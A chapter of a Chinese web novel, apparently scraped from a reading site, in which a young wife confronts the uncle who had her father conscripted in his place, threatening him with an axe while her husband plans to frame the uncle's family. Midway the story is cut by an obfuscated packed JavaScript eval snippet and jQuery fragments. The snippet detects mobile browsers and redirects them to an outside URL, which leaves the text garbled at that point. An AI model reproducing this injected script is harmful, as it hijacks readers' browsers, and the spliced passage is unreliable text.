24. 第 24 章
作品:《冒牌货(先婚后爱)》 南流景的话让林霏清茫然了片息,她轻轻摇了摇头。
“记不得什么了。”
南流景面上没什么表情:“我猜也是。”
嗯?
这话是何意?
林霏清尚在不解中,却听南流景又道:“往里第三间屋子,进去后左转五步,架上第二排,应当只放了一册文书,麻烦拿过来。”
他说的清楚,林霏清很快便依言找到了那册文书。
瞧着眼熟,落在手里轻飘飘的。
林霏清猜测,这多半就是她来书房打算找的那本。
她放快脚步,以免自己忍不住打开偷看。
先前南流景不在时她尚且有胆子,现在人都回来了,她还害的人动弹不得,再偷看也没了意义。
况且她现在,也不怕被赶出府了。
林霏清轻轻将文书搁在南流景手边。
他却没分过去分毫目光,而是始终看着林霏清:“不打开看看?”
林霏清搞不懂这话是什么意思,对她的考验吗?
她抿唇,坚定地拒绝:“我不看。”
南流景:“……”
“打开看看吧。”
考验一次还不够吗?
林霏清微微蹙眉,再一次拒绝:“不。”
南流景:“……”
“啧,快点。”
这下,听起来不像考验了。
林霏清小心觑了觑南流景的脸色,他闭着眼,任她打量。
见他不似作假,片晌,她终是拿起文书,翻开前还提醒自己,一旦发现南流景表情不对,就立刻搁下。
却不想才翻开第一页,她便呆住了。
里头并非她作假冒充的证据,而是,是她爹娘的生平。
“时间太久,加上是前朝的事,银元最多也只能查到这些。”南流景道,“你不妨先看看。”
闻言,林霏清压下心底惊骇,一个字一个字慢慢看过去。
她看的有些吃力,抬起头时,已经过去了一刻钟。
南流景还是先前那个姿势:“如何?”
林霏清捧着文书,不知是什么心情:“我爹娘,好像只是普通人啊。”
一个在村里教书的普通秀才,娶了一个邻村的普通姑娘,两人普通地过了几年生活,生了一个普通的女孩。
若是在太平盛世,这样普通的家庭多半会经历一个或许会有小挫折,小争执,但总体没什么波澜却安稳的一生。
但如今变成这样,不能说是谁人的错,只是,运道不好。
“是吗?你这么想的?”南流景清越的声音响起,如冰凉的玉,击碎了林霏清的沉思。
她看向南流景,仍有些迟钝:“您是什么意思?”
南流景看着她,直言道:“燕都并非战事吃紧的地方,你父亲有功名在身。征兵是征不到他头上的。”
“可实际上我爹就是……”后半句话淹没在喉间,林霏清捧着文书的手猛然攥紧,低头,看着上头“秀才”二字,恨不得把纸盯穿。
赵先生也是秀才,因着功名在身,并未被征走。
要是父亲没有参军,就不会死在战场上,母亲也不会操劳重病。
那为何父亲被征走了?
……
“呼吸。”
眼前发黑,恍惚之际,后脑被轻轻拍了拍。
林霏清如梦方醒,抬眼,便看南流景竟站在自己身前,冰凉的手指搭在她脖颈处,微微歪头,像在感受什么,一边道:“放松些,别忘了呼吸,慢慢来。”
林霏清怔怔看着他,下意识随着他的指示呼吸吐纳。
一呼一吸间,原本横冲直撞的怒气慢慢被捋顺,一直到林霏清情绪稳定下来,落在颈间的手才撤回。
南流景缓缓坐回榻上,动作还有些僵硬:“我记得你爹娘原本居所离燕都并不远,不若去那边打问一下,或能得出什么消息,我也会派银元继续查下去,别太着急。”
音色难得带着安慰的柔和。
林霏清声音有些哑:“多谢您,这样为我考虑。”
南流景坐在榻上,一手搭在旁边的扶手上,身子微弓,额前发丝垂落,只能看到毫无血色的薄唇:“应当的,只是我现下不方便,想来只能你一人前往了。”
林霏清沉默了会,南流景的话听起来没什么问题,却莫名有种客气疏离的感觉。
“……那,您好好休息,我先走了。”最终,她也只说了这句,便离开了书房。
原本打算下午去见舅舅舅母,但现下知道爹娘的事,林霏清便没心思再去荷花村了。
她不想耽误时间,当即便遣人备车。
距她上次回去,已经过去很久了。
临近白云村,林霏清忍不住回想起来。
自从搬到舅舅家之后,记忆中她只回去过一次,是五岁那年的清明,后来舅舅便说世道危险,加上她还小,不方便去,便再没回去过。
而那唯一一次回去,也因为时间久远的缘故,几乎没有印象了。
她一时有些后悔,应该带点祭品的。
之后吧,之后再来的时候一定带上。
马车停在村口,林霏清与秦柳一道下了车。
出乎意料的,她如今竟然还能记得家的方向。
只是过去后,才发现这屋子早已换了人居住。
一对夫妻带着两个孩子,男人大约是才午睡起来,揉着眼睛提着锄头往田地去,两个孩子跟在他屁股后头,打闹着,最后被他们娘亲在门口唤了回去。
林霏清与秦柳在不远处站了一会,见女子带着两个孩子回家,便上门询问,知不知晓先前住在这院子里的人家。
可惜这对夫妻是从旁的地方搬过来的,来时这里已经空置了许久,并不知晓从前住在这里的人的事。
林霏清有些失落,点头告辞,却不想才出院门便听得有人唤她名字。
顺着声音看去,是个四十左右的妇人。
对上视线,这位妇人越发激动,上前便要拉她的手,却被秦柳拦住。
只是这样仍不减她的热情:“是霏清丫头吧?都长这么大了,今日怎么回来了?”
林霏清盯着她,来人五官有些熟悉,缓缓与她脑中一人对上。
她迟疑道:“张姨?”
妇人的反应证实了她的猜测,张姨瞬间绽开笑:“你那时才多小啊,竟还记得我?”
林霏清还记得张姨,是因为,张姨是小时经常来她家的一位。
每次张姨来时,都会给她带甜甜的米花糖。
如果是张姨,会不会还记得当年发生了什么?
“你爹参军前?”张姨将林霏清带到她家里,倒了杯水,闻言愣了愣,“丫头,你是不是知道了什么?”
听张姨这样说,林霏清越发确定,张姨定然知晓当年之事。
她恳切道:“若您知道什么,还请告诉我。我已经不记得爹娘的样子了,只想再多知晓一些他们的事。”
张姨喝了口水,低下眼,支支吾吾道:“我知道的其实也不清楚。”
“张姨。”
林霏清的声音不自觉便带上了点厉色。
“哎呀。”张姨放下水杯,发出一声轻响,“我就只知道,你舅舅当时常来,后面你爹参军之后,你娘还常骂他来着。”
“骂谁?”
“你爹你舅,都骂。”
“……”
林霏清又多问了一些当年的细节,张姨知道的确实不多,但对于林霏清来说已经足够。
其实都不用再多问。
很多事情便如一团混乱的毛球,起初或许不知如何下手,可一旦找到线头,余下便如抽丝剥茧般再简单不过。
“夫人,回府吗?”
林霏清掀开窗帘,冲外面的张姨轻轻挥了挥手,一边道:“不,去荷花村。”
其实从府里叫上些人会安全些,但林霏清觉得,她自己能解决好。
-
赵福一家从几个月前起就变得很是不顺。
赵栋当初出事后,何雁赵福寻了多少人,都说治不了。
只有一位郎中说能治,开口便要八百两。
寻常家庭哪里能拿得出来八百两?
赵福第一反应便是这人是骗子。
可没办法啊,何雁在那哭,这又是他们唯一的孩子,后半生的指望,难不成,真能让他废了?
后来又寻了很多人,也有说能治的,只是要价比八百两还要高。
相较之下,八百两好像也不是接受不了的价格了。
但他们还是没有八百两。
好在这时,林霏清出嫁了,嫁给了一个极有钱的男人。
这是她应该做的,只是让她掏点钱罢了,那可是养育之恩。
甚至掏的还不是她的钱。
何雁对此有些不安,于是赵福只好掰开了揉碎了同她讲道理。
伤赵栋的人是谁?
是林霏清。
那她为此负责,掏钱,不是应该的吗?
至于诊金八百却要两千两。
康复了之后难道不需要好好将养一阵子?
万一落下什么病根,娶妻之后不得多给姑娘家一点钱当做赔罪?
那金玉楼一月的租金便一万两,两千两算什么。
难道真要眼睁睁舍了这个机会,让儿子断子绝孙?
当然,到底要不要同林霏清要钱,是何雁的选择。
赵福不会逼她。
最终虽说经历了些许波折,但好在还是顺利筹到了钱。
郎中说,得先吃药将身子调养起来,而后才能治疗。
而在彻底治疗好之前,不会收他们的钱。
闻言赵福总算是放下心,相信这人不是骗子。
治疗进展的万分顺利,老天总算眷顾了他们一回,赵栋说,他能感觉自己身子正在变得越发康健。
很快到了诊疗最后一日,只要再施一回针,赵栋便能彻底康复。
可到了往常郎中来的时辰,却不见人影。
一日,两日……
起初他们还能安慰自己郎中多半是有事耽搁了,毕竟钱都没给,现在跑了可就什么都没了。
可直到第三日,赵栋的下身突然开始发疼,并流出腥臭浓烈的黑水。
赵栋吓傻了,何雁亦慌得不知该如何是好,忙催着赵福去燕都寻那郎中。
待去了燕都,才发现那郎中住处早已人去楼空。
屋漏偏逢连夜雨,就在赵福进京的当日,一伙官差来到赵福家,向何雁质询,是不是先前捡了一个装有八百多两银票的钱袋。
丢了钱袋的是个贵人,而那天正好有人看到了赵福捡起那钱袋。
几个官差持着银光烁烁的大刀,何雁不过小民,如何有胆子与之对抗,忙将本打算用以当诊金的钱袋拿了出来。
可官差查看后,便发现不对。
盘问后才得知,里头的钱已经被花去不少,只余下了正好八百两。
何雁无法,拿出存蓄补上这个窟窿,这才送走了人。
赵福回来时,便见何雁坐在赵栋床前,一边哭一边照顾赵栋。
问清缘由后,赵福苦笑道:“人都跑了,要那钱也没用了。”
何雁抬起被泪水浸透的脸:“你这是什么意思?”
赵福叹了口气,无力地坐在墙根:“人跑了。”
何雁“噌”地站起:“跑了?”话刚说出口,注意到赵栋好不容易睡着,又压下声音,“什么叫跑了,那栋儿怎么办?”
赵福已被这几天的事情压得喘不过气,闻言不耐道:“跑了就是跑了,你冲我嚷有什么用?就算人没跑,你还有钱付给人家?”
何雁怒道:“那你冲我嚷就有用了?现在到底怎么办啊?”
赵福低着头,知觉浑身上下的血都往脑子冲,冲得他眼前发黑。
他缓了缓,道:“上次林丫头来,你没跟她吵吧?”
何雁瞥他一眼:“您特意吩咐过,我哪敢啊?”
赵福头疼得很,没理会她的夹枪带棒,只道:“后面再去找她一次吧,那丫头耳根子软,好好说,能行的。”
事到如今,也只有这一个办法了。
何雁虽不忿,却也只能咬牙点了点头。
静默之中,突而听得窗外传来一声细碎的响动,两人此时都是惊弓之鸟,一点动静都吓得不行。
对视一眼,赵福起身:“我去瞧瞧。”
屋外一如进来时,赵福左右看了看,并无不妥,估摸着是窗外来了什么野物,打算驱逐后便返回屋内。
只是才踏进院中,却听得身后传来“咔哒”一声。
赵福回头,竟是本不该出现在此的林霏清。
他愣了愣,不确定方才他们在屋内的话是否落到林霏清耳中,试探道:“什么时候来的?”
林霏清不答,转过身,赵福这才注意到,方才那一声,是林霏清将赵栋房门上锁的声音。
现下何雁赵栋都被锁在屋内。
她想干什么?
没由来的,赵福心下突然有些慌乱。
“你这是干什么?”赵福再次询问。
这一阵,屋内的何雁已经反应过来不对,从里面敲了敲房门。
敲击声就发生在她两三寸之外,林霏清却好似没有听见似的,黑漆漆的瞳仁一眨不眨地盯着赵福。
“我有事想问问您。”
这样的情景下,她的声线依旧温和,驯顺,一如从前。
这种熟悉给了赵福底气,他皱起眉,厉声呵斥:“还不快把门打开。”
到底还顾及着要同林霏清要钱,他没说太多,只负着手,试图让林霏清知道,他生气了。
只是这底气在看到林霏清手中的东西时泄得一干二净。
她手里是柄斧头。
“麻烦您在堂屋坐下,我有事想问问您。”
林霏清再度温声开口,手中斧头挡在暗处,像随时可能咬上来的蛇。
赵福脑子瞬间一片空白,愣愣了许久,才终于正眼看向林霏清。
她好像又高了些,站在那里,脊梁挺直,一致的样貌,却好似彻头彻尾换了一个人。
一个会让他害怕的人。
几息之后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839671|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,赵福依言,坐在了堂屋中。
何雁的撞门和呼喊声依旧能从细微处传来,但不论是赵福抑或林霏清,都没理会。
赵福:“你想问什么?”
她能问什么?
方才看到斧头时赵福的确有些恐慌,但这一会,他已然冷静下来。
一个丫头,还是他从小看到大的丫头,能问什么?
钱去哪了,当初为何要逼她嫁给栋儿……左不过这些琐事。
林霏清没坐,也没放下手中斧头,她站在赵栋面前,低睫看他。
“为何您当初没有参军?”
却不想林霏清第一句话,便让赵福愣在当场。
“你,你说什么?”
林霏清看着他,很好脾气地重复了一遍:“您当初,为何没有参军?”
为何?为何?
赵福浑身上下不可遏制的开始发抖,当初征兵,自然是征到他头上来了的,只是那时候栋儿还小,他不能让栋儿没有父亲。
于是就,想了个办法……
见他久久不语,林霏清只好换了个问题:“我父亲,明明已经有功名在身,为何会被征走?”
话音未落,赵福便大着声音道:“那自然是他自己打算去,难道还能是旁人逼他不成!”
林霏清皱了皱眉:“您冷静些,不要耍脾气。”
赵福却被她这质问的态度弄得火气上窜,猛地一拍桌子:“你爹活够了跟老子有什么关系,你要不满意下去找他去啊!”
他现在已经想不到要向林霏清要钱,只觉满身怒火得有个地方发泄出去。
“你爹死了是因为他自己想上战场,你娘死了是因为你爹死了!老子给你吃给你穿,你脑子有毛病过来跟我讨说法——”
“嘭——”
木桌应声碎裂,溅起的木屑横飞,割伤了赵福的手。
赵福愣在当场,僵硬着侧头去看。
泛着寒光的斧刃就停在他手边,只要稍稍偏一点,碎的就不是这张桌子了。
他一点一点转过头,看向林霏清。
林霏清缓缓收回斧头,盯着他,眼底一片冰凉:“我爹撂下妻女上战场,或许对不住我娘和我,但绝没有对不起你。”
她很不习惯这样大声说话,说罢上一句稍稍停顿片刻,又放低了声调:“我的问题,您若是愿意回答,回答便好,若不愿意,不说话也可以。”
赵福怔愣地看着她,鲜血从伤口处滴滴答答落在地面,何雁在屋内的喊声越发凄厉,可他却已经听不到了。
“当初征兵,有没有征到荷花村来?”林霏清问。
“有。”
“有没有征到您家里来?”
“……有。”
“但您现在还坐在这里,是因为我爹替了您吗?”
赵福低下头,没看林霏清,似乎是在解释,又像是在对自己说:“我没有让他替我去的打算,我只是有些怕,这很正常,上战场谁不怕,我想找人说说话,你外祖父他们去得早,我就只有你娘一个妹妹,去找他们诉诉苦也很应当不是吗?”
“你爹是秀才,有功名的,自然不理解我在担心什么,我们平民百姓上了战场只有死路一条,栋儿那时才八岁,没了父亲怎么活?你爹不一样,他是秀才,他有功名的,就算入伍,最多也是个写字的文职,没有危险的……”
“当然我没有让他替我的打算,那是我妹夫,我还能害他不成,是他主动提出来的。”
林霏清打断他:“好端端的我爹怎么会主动替你?”
赵福垂着头,看不清神色:“谁知道呢,显得他厉害吧。孔子还是哪个子不是说了吗,事诸兄,如事兄,我也算是他兄长,他是读书人,该明白道理。”
林霏清紧了紧手中斧柄,她没让赵福继续沉浸在情绪中,而是不带感情地继续问下去:“那我爹死后呢?抚恤金呢?”
据张姨所说,母亲是因过度劳累而病死的,父亲死后那些年,母亲始终在为生计困扰,若有抚恤金在,怎么也不至于早早病逝。
可抚恤金呢?若有,为何没听张姨提起?
赵福身形明显僵硬了一瞬,低着头,避而不谈。
答案显而易见。
林霏清闭了闭眼,就算早有预料,在真的确定这个消息时,第一想说出口的话仍是,你怎么能这么做?
那是你的亲妹妹,你怎么能,一点活路都不给她留?
她深深吸了几口气,压下心底那股想要劈砍斧头的冲动,并没有问出那句话。
这么久了,她还不知道她这舅舅吗?
就算她问出口,他也总有理由,他最无辜,他什么都不知道,世道对他最不公平,他总是被逼的。
再问下去也没有意义,不过是看他能给自己找多少借口罢了。
林霏清睁开眼,看着这个从记事起就在她身边的人。
“刚才有一瞬间我是想杀了你的,但不行,杀了你麻烦的是别人。”她轻声道。
赵福冷哼一声:“麻烦谁?你那个相好的?”到底顾忌着林霏清手中的斧头,他只敢嘴上骂骂咧咧,“你真以为跟了他你就能过上好日子了?别做梦了,你爹都不要你。”
或许因为被戳破,他干脆破罐子破摔:“也就我心善,把你带回来,不然你早死了。”
“你这种晦气的玩意,害了你娘你爹,现在害了我,你信不信,那姓南的也早晚会被你害死!”
林霏清静静看着赵福,只觉得他聒噪又可笑。
一个人得多无能,才能一辈子都没有承担过责任?
“我不会再见你了。”
林霏清轻声道,将斧头放回原处,任凭赵福还在后面吼叫,步履平稳地转身离去。
座上马车,没让车夫立刻启程,林霏清头靠在车壁上,长长舒了口气。
冷静下来后才意识到,她并没有多么难过,甚至连失望之类的情绪都没有。
她是真的没有家人了。
其实本来也没有。
这样看来,她也不需要浪费时间调节情绪。
不仅如此,南流景知道了她的隐瞒,估计也不会再留她。
片息之后,林霏清疲惫道:“回吧。”
-
在林霏清坐上马车后,一直跟在后头的银元便率先返回府上回禀了情况。
南流景现下行动只能依靠轮椅,好在府上常备着,也不至于手忙脚乱。
听罢银元的回复,南流景微微叹息:“拿斧头啊,还挺帅,只是没劈下去有点可惜。”
“不过能做到这份上,也很出乎意料了。”
他还担心她会心软。
南南流景沉吟片刻:“那刘大少下狱前跟赵栋有勾连是不是?”
银元:“是。”
“那勾连再深些也没关系。”南流景推着轮椅到窗前,看飞燕还巢在空中掠过一段简短的黑线。
到底还小,处理事情不够干净。
“立刻动手吗?”银元问道。
她前脚断了关系,后脚赵福家就下狱,傻子也能想出之间的联系。
南流景慢吞吞道:“不着急。”

